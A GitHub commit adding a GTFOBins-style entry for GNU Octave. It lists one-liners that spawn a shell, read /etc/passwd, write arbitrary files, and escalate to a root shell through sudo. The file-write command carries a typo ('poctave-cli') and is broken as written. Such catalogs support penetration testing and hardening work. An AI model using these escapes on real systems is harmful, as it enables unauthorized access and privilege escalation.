Create octave.md

Add GNU Octave
This commit is contained in:
SynackCerv 2021-04-22 22:12:26 +02:00 committed by GitHub
parent 1ceca200b6
commit dbb2e24ff0
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

10
_gtfobins/octave.md Normal file
View File

@ -0,0 +1,10 @@
description: The payloads are compatible with GUI.
functions:
shell:
- code: octave-cli --eval "system('/bin/sh')"
file-write:
- code: poctave-cli --eval 'filename = "file_to_write"; fid = fopen (filename, "w"); fputs (fid, "DATA"); fclose (fid);'
file-read:
- code: octave-cli --eval 'fid = fopen ("/etc/passwd"); while(!feof(fid)); txt = fgetl(fid), txt; endwhile; fclose (fid);'
sudo:
- code: sudo octave-cli --eval "system('/bin/sh')"